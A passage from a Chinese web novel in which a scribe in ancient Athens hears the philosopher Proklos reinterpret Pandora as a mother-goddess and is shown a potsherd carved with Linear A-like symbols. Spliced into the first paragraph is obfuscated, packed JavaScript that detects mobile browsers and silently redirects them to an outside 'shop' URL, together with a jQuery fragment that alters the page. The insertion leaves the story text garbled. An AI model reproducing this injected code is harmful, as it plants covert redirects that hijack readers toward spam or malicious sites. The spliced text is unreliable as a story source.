那男人继续说:“还有潘多拉。你们都知道赫西俄德的《工作与时日》里写的——潘多拉是宙斯为了惩罚人类而创造的第一个女人,带来了灾祸。但你们知道更古老的版本吗?在克里特,在塞浦路斯,在一些古老的祭祀歌谣里,潘多拉是大地女神的一个称号,意思是‘赐予一切者’。她打开的不是灾祸的盒子,而是大地孕育万物的容器。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226115|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那后来为什么变了?” 那男人沉默了一瞬。 “因为世界变了。”他说,“新的神需要新的故事。旧的故事不消失,就会被改写成新的样子。女主人变成了女奴,赐予者变成了惩罚者,一变成了多。” 庭院里安静下来。 狄奥多拉不知什么时候走到了余茶身边,低声道:“那人叫普罗克洛斯,从萨摩斯来的,据说是个哲学家,但更像个祭司。他说的那些,你敢信?” 余茶没有说话。她在想那些碎片,那些铜镜,那些灌入她脑海的知识。母神文明,被篡改的记忆,被压抑的真相。 还有那个冰灰色眼睛的入侵者——他想要什么?他想从这被篡改的历史中得到什么? 宴饮继续。酒一杯杯地下,话题从神话转到政治,从政治转到诗歌。余茶始终站在边缘,听,记,沉默。 直到夜深,人群渐渐开始了第二场,是不适合余茶待着的场合,漂亮的杂技表演者和一些年轻漂亮的男仆被不同的客人拉上高榻,柔顺地伺候着,主人的奴仆不断地提供酒水,水的比例很讲究,既不会让客人觉得主人抠门,又不会让饮酒者完全失去理智,影响主人宴请的品质。狄奥多拉被人围着,一时走不开。余茶独自走向马车停放的地方,准备在马车上坐到白天。 一个声音从身后响起。 “你听得认真。” 余茶转身。那个叫普罗克洛斯的男人站在几步之外,看着她。 “你是狄奥多拉的文书?” 余茶点头。 “克里特人?” “在克里特待过。” 普罗克洛斯微微点头,目光在她脸上停留了一瞬。 “你认识那些符号吗?”他突然问。 余茶的心微微一跳。 “什么符号?” 普罗克洛斯没有回答。他从怀中取出一小块陶片,在月光下给她看。 陶片上刻着一圈符号——线形文字A的变体,和那块新碎片上的,一模一样。 “我在萨摩斯的地下挖到的。”普罗克洛斯说,“我找了二十年,想知道这些符号的意思。没有人能告诉我。” 余茶盯着那块陶片,沉默了很久。 然后,她开口了。 “给我一点时间。” 普罗克洛斯眼中闪过一丝惊喜的光芒。他把陶片收回怀里,点了点头。 “我在雅典还要待半个月。狄奥多拉知道怎么找我。” 他转身,消失在夜宴中。 余茶站在原地,看着他的背影。月光冷冷地照着,庭院里的火把渐渐暗淡。 母神被篡改的故事,分裂的女神,被遗忘的名字,刻着古老符号的陶片—— 她终于找到了一个可以说话的人。 车夫应该和奴仆待着一起。余茶登上马车,靠在软垫上,闭上眼睛。 脑中是阿伽通的声音:“在很古很古的时候,那些我们现在知道的很多女神,原本是一个女神。” 和普罗克洛斯的话:“女主人变成了女奴,赐予者变成了惩罚者,一变成了多。” 还有那块陶片上的符号。 她必须弄懂这些符号真正的含义,这可能是她回家的前提。 庭园外面,卫城在月光下沉默地矗立,如同一个见证者,见证着被篡改的历史,和被遗忘的真相。